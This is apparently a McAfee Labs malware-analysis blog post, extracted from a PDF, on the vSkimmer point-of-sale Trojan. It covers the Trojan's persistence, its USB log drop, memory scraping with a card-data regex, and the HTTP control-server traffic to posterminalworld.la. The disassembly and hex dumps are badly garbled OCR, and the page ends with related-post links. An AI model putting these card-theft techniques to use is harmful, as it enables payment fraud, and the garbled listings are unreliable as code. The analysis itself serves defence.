VSkimmer Botnet Targets Credit Card Payment Terminals
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This blog has been updated with McAfee’s NSP detection. See end of blog.
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While monitoring a Russian underground forum recently, we came across a discussion about
a Trojan for sale that can steal credit card information from machines running Windows for
financial transactions and credit card payments. The malware, vSkimmer, can detect the
card readers, grab all the information from the Windows machines attached to these readers,
and send that data to a control server. The author of the thread also discusses other
capabilities of this malware, which appears to be a successor of Dexter, but with additional

functions.

:: Point of Sales Skinnmer [BUILDER + ONLINE PANEL] =

AD...‘..l..l sales Skimmer [BUILDER + ONLINE PANEL] - 03-12-2013, 14:32

: Is you niceware called Dexter?
A: No, software is coded by me with similar functionalities but mush better =)

: Can I test your software before deposit with escrow?
: No, test only after money is deposited in escrow. Guaranteed working, No refunds.

: Can you code something custom or modify to fit my needs?

: Of course, you can request new features or custom programming at any time for an extr

: How can I install it?
: Just like running any other executable. We can explain you all the ways.

Q: Do you offer help after purchase?
: Of course, support included. Don't hesitate to ask for help in anything related to our prod

: Is there any planned update regarding EMV (chip & pin)?
: Yes, We're working on it, this 2013 will be a hot year!

We already know
about botnets such
as Zeus and
SpyEye, which
perform financial
fraud using
extremely
sophisticated
techniques including
intercepting the
victims’ banking
transactions.
VSkimmer is
another
example of how
financial fraud
is actively
evolving and
how financial
Trojans are
developed and
passed around
in the
underground
community.
This botnet is

particularly interesting because it directly targets card-payment terminals running Windows.

Our Automated Botnet Replication Framework first saw this Trojan on January 18. We've
analyzed samples of this malware and figured out how it steals the credit card information
and its additional control functionalities. While performing the API tracing , we found it uses

fairly standard antidebugging techniques:

The malware collects the following information from the infected machine and sends it to the

control server:
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AUN EH#A, EBF
MOU DWORD PTRSS: CEBP+344], EAX
| PUSH EBX

TEST EAX,E!

1
CALL CWORD FTR DS:[41D868]
MOU EDI,DWORD PTR DS:[41D1CE]
MOU EEX,DWORD PTR DS: [410@5C1
MOW_ESI,wsk Lmmer. BB4103C0C

H#
JE SHORT wsk imever . BB4016C8

ntdll.

kernel32. IsDebuggerPresent
LSER32. MessageBorA
kernel32.FatalEx it

ASCIT "Undef ined Error'™

FUSH ESI

PUSH ESI

PLUSH ERK
1P DWORD FTR

= n —

ALL OWORD FTR DO5:[4108381

ALL DWORD FTR DS:HIDBE—‘E]
1 [EBP-881],

MZ SHIZIRT vk Lnner 924816F2

ntdll.7C918228

kernel32.6etCurrentProcess

kernel 2. CheckRemoteDebugaerFresent

F'USH ESI
PUSH &

CALL EDT
®OR ESI,ESI
PIISH FRT

FF1E5 94DB4100
SF

SE40 FC
23C0

=15

EZ 292AGEEE
co

[

55

SBEC

56

SEYL a2

=1

EZ2 Z1FOFFFF
EZ FSFCFFFF
ES &EFOFFFF
EZ 93FOFFFF
EZ2 BRFOFFFF
EZ2 CZFEFFFF

ntdll.7FC10228

CALL DWORD PTR DS:[41068941]
FOF EDI

MOW ECH,OWORDO FTR S5:LCEEF-41
#»OR ECH,EEF

FOF EEX

CALL wsk immer. 0489E2R
LERLE

RETH

FUSH EBF

Mou EBF,ESP

FUSH ESI

poy EST, OWORDTFTR S5: CEEF+E]

PUSH ESI .
CALL wek immer. BE4E1121 Extract Machin
FUSH ESI

CALL wsk immer.@e4aiere | Extract Locale |
PUSH ESI

CALL Egﬁlmmer.884all?ﬂ

CHLL Eéﬁlmmer HE4E]1 1AS
CHLL u5klmmer HE4E1102

Get User nam
Version Info

CALL UEkmeer BA4E12ED
AODD ESF, 1%

w0R ESILESI

kernel32.CloseHandle
BE1ZFO44

Ba12F044

o

Retrieve ComputerName

=

Ba1zF044
Ba1z2F044

Machine GUID
from the
Registry
Locale info
Username
Hostname

OS version

This malware
uses a standard
installation
mechanism and
copies
itself as

svchost.exe into %APPDATA% , modifies the registry key to add itself under the authorized
list of apps, and runs ShellExecute to launch the process. One function of vSkimmer if the
Internet is not available is to wait for a USB device with the volume name KARTOXAO007 to
be connected to the infected machine and to copy all the logs with the file name dumz.log
and the card info collected from the victim to the USB drive.

| checked by disconnecting from the Internet: The malware enumerated all the drives and
created the file dumz.log in the drive with the preceding name.
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s B LWLLSS LK FLESH SAADNIOET o R L LESLA BAPONIOE
. &% B2024108 PUSH gsuchost. 804 105EE suchost. ™
. E8 QIFEFFFF CALL swohose. BR4015350
. B3C4 28 ADD ESP, 20
. €2 As034100 PUSH swchost. 83410208 = "Helstenbera2IaT”
. 55 FUSH ESI ner = TRUE
. 55 PUSH ESI BS = PEa1e06
. FFIE G4D84100 &t DWIRD PTR D651 [410854] Createthtend
.+ E8 1BAZO000 suchost . B840 1AEC
. 56 PUSH ESI Gra? - Gg01008d
. 55 PUSH ESI ez = o0 BeR
. 62 30774890 PUSH swchost. 88407720 Aral = BR4YTE0
. EZ 52858000 CALL svehost. B40000F suchost , BO4BRNGF
. BB3I5 SE0B4108  |MO0U ESI,DWORD FTR DS: (4108581 kernel3Z,5leen
. B304 BC ADD ESP, BC
¥ S O04B84300 PIIEH saschost . B4 24008 Harme = “www.posterninalworid. la®
» FFI5 08014108 |EALE DWORD PTR 05:(410108) PETHOEEDYN AR
8508 TEST ERX,ERX '
T 128000 CALL swvchost. BS407IEE .
- [ _1E JHF SHORT suchest,BBd01791 Sub routine to copy all the collected
i 4ol EERER logs to the USB drive jf i DMS call fail
if previous call fail
ES CHTEO000 CALL svchogr, 405351 € P
CT@424 GEEADORG | F0U DMORDFTR SS5:DESF], 0cnco
FFD& cRll ESI
b 68 ADOFOR00 PUSH i
g B BUTTYLD = DO WOY
PUSH 104 I-F.'l-‘-.lz-: =164 1268, )
CALL DWORD PTR OS: [4100581 Getlogicallr iveStringsA
CHF BYTE PTR SS:[EBP-228],.
JE suchost.,BB407ESS
FISH EST
FLUSH EDI
PUSH EBX ReotPathHane = NULL
CALL DWoRD PTR OS:[4108E84] GerDriveTypeR
DEC ERX
DEC ERX
JHE suchost.BB487ELS
PUSH _EEX Argd = GOGBS98a
LER ER¥, [LOCAL.=2] .
PUSH swohost .04 1DEF ArgZ = B841DEF8 RSCII "XHs™
PUSH ERX Fral = GOROFCHA RSCIT "§e>"
CALL swchost.B@damaDz suchost . BB4ETI02
ADD ESP, oC
WOR ERX, EF i
PUSH ERX pF i leSystent
PUSH ERX oF i leSystentia
LEA ECH, [EDCAL.S32]
PUSH ECX
PUSH ECH h =
H ERX mber = BSPRGFCAE
PUSH 124 Hanlo luneNaneSlze = 104 (268,
LEA EAX, [LOCAL.Z813
Vo luneHaneBuf fer = GARSFCOE
LEA ERX, [LDCALZE]
RootPathHane = "§@>*
CALL DWORD PTR DS:[41D8E0] Getlls lume InfFormat (ORA
HOU ESI, swchost . B84 1DBE4 RECIT "KARTOMASET™"
LEA EDI,CLOCAL.&]
HOUS DWORD PTR ES:[EDI).DWORD PTR DO5: [EX
HOUS DWORD PTR ES:[EDI),DWORD PTR D5:[ES
LER ERx. CLOCELIED
e e
| —— i ) '.- _— .
;’I club_application ’J SanbiskSecurefccess
1 1

aukarun.inf — )
ly Setup InFarmation S | FunClubSanDisk, exe

1EE Bootstrap Module

RunganDiskaecurefocess _Win, .,
RunSanbisksecuredccess_ Wi
Gemalko M.y,

Extracting credit card information

VSkimmer maintains the whitelisted process, which it skips while enumerating the running
processes on the infected machine.

Once vSkimmer finds any running process not in the whitelist, it runs OpenProcess and
ReadProcessMemory to read the memory pages of the process and invokes the pattern-
matching algorithm to match the regular expression “?[3-9]{1}[0-9]{12,19}[D=\\u0061][0-9]
{10,30}\??”)” and extract the card info read by the payment devices. This is done recursively
for every process running in the infected machine and not on the whitelist.
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MY Bl , UWOHLY PN S8 LEBE—12% )
LEA EAX,OWORD FTR S5: [EEF-1831
FUSH suchost.8B4]1028BC

FUSH ERX

CALL swchost.AB489FcE
POP ECX
FOF ECH
IEST EAi, ERx
EuchOEt GE4E8780
LEF| Em-c.nm FTR SSI [EEF-183]
FUSH swchost. 88410260
FUSH ER:
CALL Evchnit BR4EIFEa

LEA EAX, DWDRD F"I'R SEI [EEP-185]
PUSH EUChDEt Be410:23R4

DFI.L w-oh ost . BB48IFER
FOFP ECH

T80S
LEA ER,OWDRD FTR S5S:[EBF-1831
PUSH suchost.BB41D294
PUSH ERX
CALL svchost.B8483Fc@
POF ECH
POF ECX
TEST ERX, EAX
JE swchost .. 88467805
LEA EAx, OWORD FTR S5: [EEP-182]
FUSH swuchost.d84103884
PUSH ERX
CHLLEEvchDEt BE4E3F &R

PUSH suchost.B0410278
PUSH ERX
DFI.L twhntt.ﬂh#ﬁF&B

Dl'iD I:I"\'

BSCIT "System™

BEABFESC
BOABFEEC

ASCII "smss.exe™

BEHBFESC
BEAEFESC

ASCII "csrss.exne™

BERBFESC
BEREFESC

ASCIT "™winlogon.ene™

BAABFESC
BOABFEEC

RSCII "services.ene™

BERABFEEC
BAABFEEC

ASCII "lsass.exe™

BARBFESC

Pt T ] my ol o

PUSH [[LOCAL.222]
LER ECH,[LOCAL. 1417
CALL swchost.BE4842F7
CHP CLOCAL. 1351, 14
MOoU ER:. CLOCAL. 1417
JHE SHORT suchost.@8487E28
LER ERX,.CLOCAL.1411]
LERA ECH,.[CLOCAL.2241
PUSH ECH
FUSH [LOCAL. 2221

ERA

FLUEH Eg%
CALL EEERD PTR DS:[410B852]

PUSH [[LOCAL. 22841
LER ECH,[LOCAL. 1417
CALL swchost.BE4842F7

‘USH swchost.BA4107FE
ER ECH,.[LOCAL.29%51]
HEL suchost . HE4E7430

CALL swchost.BE4A56EE
FUSH EEX

LER ERH,.[CLOCAL.Z225]

FUSH _ERX

LER ERX,.CLOCAL.Z181

PUSH _ERX

LER ERX,.CLOCAL. 1411

PUSH ERX

Mou BYTE PTR S5:[EEF-41,:2
CALL swchost.BB48722H

ROD ESF, 1A

CALL DWORD FPTR DS:[4101021
TEST ERX, ERX
| Fa FRYX_FEnral

12417

VSkimmer control

Prepas

[Hrgl = BEEE1888
suchost . BE4E42F 7

pEButesRead = GEAEF392
EutesToRead = 1808 (4896, ]
EBuffer = BEADFCAD
pBaseAddress = 10EEA
hFrocess = BHEEEEEY [ window]
ReadProcessHemory

ArgZ = HE
[Hrgl = BEE81888
suchost . BE4E42F 7

ASCIT ™y 7PLE-91C0130A-91C 12, 193I0=" uE
subroutine to match the RegEx

Arad = DEEEE0GHE
AraZ = OBAEFCEE ASCII "EE:"
ArgZ = DBABFCHA ASCII "EE:"
Aral = BBABFCEE ASCII "EE:"
swvchost. BE407 2R

Mame = "wwW,posterminalworld. 1a™

gethostbyname

ring to connect to C&C

Before communicating with the control server, the malware B64-encodes all the machine
information collected and appends it to the URI. The encoded string follow this format:
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machine guid|build_id|bot_version|Windows_version|Host_name|User_Name

EE L9 1 g
.-EIC: E4FEFFFF

E& -"I:p.'lll' =l ]
2095 S4FEFFFF
B4FEFFFF
A4 ':l‘."'.li.“‘."
S BAFEFFFF

SRFEFFFF
EH- E27RFFFF

=]
£02% EOFDFFFF
ca

OO O A 4 (i

LER ECX [LOCALYSES]
I:II.L E'J'Ohl:'l-'ﬂ WH-BI.W'B
E-“ Eﬂ.‘!! CLOCAL. 148]

Appends the
machine info

B64 encoding
the string

nds to the
URI

SEuChod

£ . B840 ] BB

e
el ]
SA 43 28 33 4D 7A 40 T8 4C SF 49 77 40 TR &7 Vd| FCRAHzH:LWIuHE
89 B4 &C AC B9 VA 42 &C BA &0 S5 30 4E 47 51 21| ¥TLIVeBIZ lﬂﬁi
BE 47 45 35 B 44 49 TE 40 &3 34 78 4D BE 77 31| FGFEFDIu Hriwl
4C &R 45 75 4D 3B 7B 42 B4 BE &C 55 4C B4 &3 34| LJEuHExBETULULTed
40 &R 41 35 4D 6B 4D 23 4F 44 42 38 51 57 B2 74
&1 E7 25 7@ 63 32 B2 V9 B9 B8 52 & 62 6E 77 78 YeRuonum
28 08 08 00 00 20 B 00 0B B0 BE B8 B3 3B BB I..1.'I ________________

P8 00 DO 00 PO 20 B 00| OB 00 00 00 00 30 BB 00| .. ccscssssnsnsns
B B0 0B 00| 00 00 BO OO G0 B3 GO 00 0O BB BO O0| ...
Bl 20 P2 28 A0 2O 0 &0 2A 00 A3 00/ 92 B3 M OB ... iesnrasnnns
0 S0 O O O e el a0 Sl Oeh Oa e T R0 el a0
BaizFica | ob41DEF8 I' SCIT "Ha"™
BaizFiC4 BR4aadDE| suchos t 391'"' L=
BRiEFiICe | SOBSDBEEa
BalzFiCcC 2a4a] a2y chost . BE840] 827
Beiz2FiDe | 2@i12FR4C] AECIT "-lEFSdSI?-i‘dld-ﬂGSl bm-l?!dﬁ‘-!iﬁﬂdnﬁ"
BalzF 104 BRI2F228| FRECII "YTJaHTRzYTot Do 2 COBMz Hx LW IuwHz gt YT I LY¥2E L 2 JUBHEDL ¢ GFEF DI uli=4:
BaizFiDs | SoBEDBEEa
BalzFi10C [srulslsrale]
Ba1ZFIES | Sd41l0BFA| AECII ".'.'."
Ba1ZF1E4 284 10958 chost . 854 | ISED
BAlEFIES | SOBERBER
Bal2F1EC BRI2F228| RECII "YTJaHTEzY TorOWds 2 CABMz HxLWIuwHz g2 YT L LY2E |2 JUBHE0L f GFEF DT ulME4s
BAlEFIFG | SOBERH
Ba12F1F4 5 lnls oy n ]
Bal2F1iFs | S@41l0BFA| AECII ™
Bal2FIFC BR4EFE2E
281 2F948 HII

=

12F 284

S

DD
w

L

2a]2F 228

BEESEE SN

1211215, 1. BIANIT= mzﬂazcmmmm.

iHnwl L EuM2=<ETUI|

iHnwl L iEuMa=ETUI|

H=LWInHzgtVT L LY2ELE JUBHGER1F

l-f phio Py =TT 02 Y Tot 0t 2 COAHz MLl lwHz gt VT L 1Yz B L2 JUBHGEO 1 FGFEFD]
RSCII "r"l'..hh'%ﬁc:ﬂﬂh? 6Ff DIuMS4uHnwi LIEuM3=ETUI

from the server, it executes the following routine to parse the command:

Next,
vSkimmer
creates the
HTTP
request and
connects to
the control
server:

While this
malware ran,
we saw the
following
response.
Note that the
commands
are within
the <cmd>
</cmd> tag.

Once
vSkimmer
receives a
response

Because the response from the server during execution was <cmd>null</cmd>, the malware
extracts the 3-byte command and tries to match it with the other commands implemented by

vSkimmer. First it checks if the command from the server is “dIx.”

If not, then vSkimmer checks for the “upd” command. These commands implement the

HTTP download and execute (“dIx”) and update of the bot (“upd”), respectively.

As we saw earlier in this post, vSkimmer can also grab the Track 2 data stored on the
magnetic strip of the credit cards. This track stores all the card information including the card
number. (You can read more about the Track 2 data format on Wikipedia. The chief
information:

e Primary Account Number: the number printed on the front of the card
e Expiration Date
e Service Code: the three-digit number

6/13


https://securingtomorrow.mcafee.com/wp-content/uploads/2013/03/28.png
http://en.wikipedia.org/wiki/Magnetic_stripe_card

oUSL BEryrrrr

. EZ GO9SFFFF
. EF

: . Ez
; . 2080 E4FSFFFF
| . CE4E FC B9

| . EZ ACOSFFFF

i . SB35 FOFVFFFF
i 73 B

. 8085 PRF7FFFF
: . EFBS GBF7FFFF
i . FFES BCF&FFFE

. FF1E E4014180
: . &3
: . EA @3
) onon, 1ACECCECE

LCH Cl LisHL e T od

CALL swchost,.BB48271E
PUSH EDI

FUSH _EEX

LERA ECX,.[CLOCAL.S23]

MoU BYTE PTR S5:[EEF-41.%
CALL swchost.BE4A2F1E

S2BD 24FYFFFF 18| CHP [CCOCAHL.S431, 16

MOY ERH, CLOCAL . 5427
JHE SHORT swohost . BE4ESEEY
%EEHEHK.[LDEHL.548]

EDI

PUSH [LOCAL. 5441
ERX

PUSH [LOCAL.S592]

CALL DWORD PTR DS: [41D1E41
PUSH EEX

I Cn Ces FLEaEml Fep= = |

Livchoit.aa
HigZ2 = BoE
Argl = B0E

suchost . 08

Flags = @
DataSize =
Data = BQ3
Socket = F
send

D1E41=F1AB4C2Y [(W52_32.=send]

Hexn dump

ASCII

—I"‘ BE1ZErDE

(k)
—
=
=
=
I
I
o0
T
m
=
w
=
I
[k}
I
[
()

SET Sapiprocess. php?
HTTP1.1

HTTP 1.1 200 OF
Server: nginxyL.0.15

b —Powerad-EBy: PHP/5. 3

.F
<omd=nul 1</ cmds
0

Fl 72 6F 63 65 ¥3 73 GET ~api<process
E4 40 &0 4E 54 E1 FH .phpYuy=4TJuHTLz
43 238 360 40 FA 40 7& YTotOlGsé CobMz Ma
E4 &C &C 59 FH 42 &C LWIWMzgt%TLLlYzEL
47 45 36 66 44 49 FEE jUBHGRLFGFSfOIu
&H 45 F5 40 33 78 42 MS4uMnwll jEWM3RE
&H 41 35 40 &B 40 33 TULULTc4MiASHENS
E¥ 35 FO &3 33 52 V9 ODESRWRLallSpo3Ry
48 E4 B4 BB ZF 21 2E YHERuwcnws HTTR-1.
¥r rr 7r 2E ¥H &F F3 1..Host: www.pos
&F 72 &C &4 ZE &C &1 terminalworld. la
&5 6E ¥4 2A 2@ 58 43| . .User—Agent:
4 ZF 32 2E 22 22 @D ICompliant-3.33.
HE HE AE AE AE HE FE|....cEmekikkiikikia

FE EE FE EE FE EE FE|#f8:.nB.Eucncncn
FE EE FE EE FE EE FE|cmcmcmEmcmcmcncn
FE EE FE EE FE EE FE|cmcEmcmcmcncncncn
FE EE FE EE FE EE FE|cmcmcmcmcmcmcncn

Host: www.posterminalworld. Ta
User-aAgent: PCICompliant3.33

Date: wed, 20 Mar 2013 06:35:20 GMT
Content-Type: text html
Transfer-encoding: chunked
“onnection: keep-alive

.13

BE1ZEFDL
BEA12EVEE
BEA1ZEVE:
BE12EFES
BE12EFEL
BE12EFFE
BE12EFFe
Ba1ZEVFE
BE1ZEFFL
BE1ZES8E
BE1ZEZ@:
BE12E2EL
BE1 2E2AEL
BE12E21E
_I BE12ES]L

BalzZES1
BE1ZESLL

BEA1ZES2E
AR1 PR

ey =T IMNT O ZY T CEOWOxZC00MZMx LW whMzot v T1 1% 2B 12 UONGQLFGFEFDT UMSS xMrwl L EUM3 xBTUTULT c4Nm
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3] FUZH EEX
PUSH =
LER ECH,[CLOCAL.&35]

& @32
2020 14FSFFFF

Eg T2FAFFFF CALL suchost.B8468397E

. PIISH EDI Flags = MSG_DONTROUTE!MS
. &2 FFEvooesd FIUSH FFF EBufSize = FFF (2847.)
. 8035 FBFTFFFF LEA ER¥,[EOCALYSIED
. E@ Euffer = BEABFCEA
FFES BCF&FFFF IJ5H [LOCAL. 5531 Socket = ZE2C9E
Ce4S FC @A MO BYTE FTR S55:[EBF=41, 50
EE&% EZ0141G8 CALL OWORD PTR DS:C4101E2] rEoy
' BFEE EEREZEEEE ALE suehoet Receives the server response

BE 22024188
BE 24024188

. MOY EEM, swchost . 88410998
> 5085 FBFTEFFF
3

TS ' .
FLER ERx,CLOCAL.S16]
MOU CLOCAL.S5911,ERX

ASCII "<<cmd:™

2985 C4FEFFFF

2B95 C4FEFFFF FMOYU EAX, CLOCAL.S917
AFESAa MOUZ EAR, EYTE PTR DS: [EAX
. 30 2@ CHF AL, 2@
o 70 B2 JGEE SHORT swchost.BE4E3F59 .
. 2C BA CHP AL, =A Parsing the server response to
- T4 B JE SHORT suchost.B@B483F59
. 3C @D CHP AL, &0 extract the command
.~ 75 17 JHZ SHORT swchost. BE4@3F7aE|
> G@ PUSH ERX
. G085 24F&FFFF LEA ERH,CLOCACYEST]
=) PUSH ERX
. ES S1FGFFFF CALL swchost.B@BE4835E7
. FF25 C4FEFFFF INC [LOCAL.5511
. 53 FOF ECH suchost . 884 107FS
. G54 FOF ECH suchost . 884 107FS
.~ EB D¢ LMP SHORT swchost.B8485F44

¥ 2370 B2 @l
. BFEE FEEZEEEE
ESEE 2BFFFFFF

. 5080 14F&FFFF
. ES BCFEFFFF

CHMF [[ARG.11,1

JHE  swchost . BE4E92FE
LEA ERX,C[LOCAL.S5521]
FUSH ERX

LEA ECH,CLOCAL.&535]
CALL swchost.BR483098

Lo Pl B ol

. BBO? MOL EDK,EDI

* BIFE 14 1@ CHP DWORD PTR D5: [ERH+141, 16

e Te B2 JE SHORT svchost.B884826F5

. [BBBB MOY ERX, OWORD FTR DS: [CEAA]

Y FUSH ED= Arof = BAEEEREES

. FF?S 1@ FUSH [ARG. =21 AroZ = Bad410988 ASCII "dix"
. B3C1 ADD EAX,ECK

. LB FUSH ERX Aral = BA12E934 ASCII "nul™
. E2 ZFFCHEBER CALL swchost.BE46A322 suchost. BR4AAEES

. B2C4 B8c ADD ESP, EC

. BECA TEST ER=,ERA

VSkimmer bot control panel

Here’s a look at the control panel of the command server:

vSkimmer POS TERMINALS COMMANDS SETTINGS
POS TERMINALS BROWSER
#1D win Ver. Country IP Addr. Admin? (User) Buildid Bot Ver. Actions
I 7 5.1.3 FR | | __ 1 Yep {(Administrateur) ar 2.1.12 - .
= z
I & 5.2.2 us = o Yep (Administrator) az 2.1.12 m .
= ey
I 5 5.2.2 i f = = Nop (pos) az z.1.12 .. @
I 3 5.2.2 1L I | Yep {(Kahala) az 2.1.12 - . =
I 2 5.1.3 BE m = Yep (Administrator) az 2.1.12 - .
=
1
UPDATE

McAfee NSP detection:
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Attack ID: 0x4880a600
Attack Name: BOT: VSkimmer Traffic Detected
Sigset: Intrushield Network Security Signature Set 7.5.34.10

Chintan Shah

Chintan Shah is currently working as a Security Researcher with McAfee Intrusion
Prevention System team and holds broad experience in the network security industry. He
primarily focuses on Exploit and...

More from McAfee Labs

Crypto Scammers Exploit: Elon Musk Speaks on Cryptocurrency,

By Oliver Devane Update: In the past 24 hours (from time of publication) McAfee has
identified 15...
May 05, 2022 | 4 MIN READ

Instagram Credentials Stealer: Disguised as Mod App

Authored by Dexter Shin McAfee’s Mobile Research Team introduced a new Android
malware targeting Instagram users who...
May 03,2022 | 4 MIN READ

Instagram Credentials Stealers: Free Followers or Free Likes

Authored by Dexter Shin Instagram has become a platform with over a billion monthly active
users. Many...
May 03,2022 | 6 MIN READ

9/13


https://securingtomorrow.mcafee.com/wp-content/uploads/2013/03/33.png
https://www.mcafee.com/blogs/author/chintan-shah/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/crypto-scammers-exploit-talk-on-cryptocurrency/%20
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/instagram-credentials-stealer-disguised-as-mod-app/%20
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/instagram-credentials-stealers-free-followers-or-free-likes/%20

Scammers are Exploiting Ukraine Donations

Authored by Vallabh Chole and Oliver Devane Scammers are very quick at reacting to
current events, so...
Apr 01,2022 | 7 MIN READ

Imposter Netflix Chrome Extension Dupes 100k Users

Authored by Oliver Devane, Vallabh Chole, and Aayush Tyagi McAfee has recently
observed several malicious Chrome Extensions...

Mar 10, 2022 | 8 MIN READ

Why Am | Getting_All These Notifications on my Phone?

Authored by Oliver Devane and Vallabh Chole Notifications on Chrome and Edge, both
desktop browsers, are commonplace,...
Feb 25,2022 | 5MIN READ
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Emotet's Uncommon Approach of Masking_IP_Addresses

In a recent campaign of Emotet, McAfee Researchers observed a change in techniques. The
Emotet maldoc was...
Feb 04,2022 | 4 MIN READ
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Vi ik W8Py
HANCITOR DOC drops via CLIPBOARD

Hancitor, a loader that provides Malware as a Service, has been observed distributing
malware such as FickerStealer,...
Dec 13,2021 | 6 MIN READ

‘Tis the Season for Scams

‘Tis the Season for Scams
Nov 29, 2021 | 18 MIN READ
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The Newest Malicious Actor: “Squirrelwaffle” Malicious Doc.

Authored By Kiran Raj Due to their widespread use, Office Documents are commonly used
by Malicious actors...
Nov 10,2021 | 4 MIN READ

Social Network Account Stealérs Hidden in Android Gaming_Hacking_Tool

Authored by: Wenfeng Yu McAfee Mobile Research team recently discovered a new piece of
malware that specifically...
Oct 19,2021 | 6 MIN READ
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Malicious PowerPoint Documents on the Rise

Authored by Anuradha M McAfee Labs have observed a new phishing campaign that utilizes
macro capabilities available...
Sep 21,2021 | 6 MIN READ
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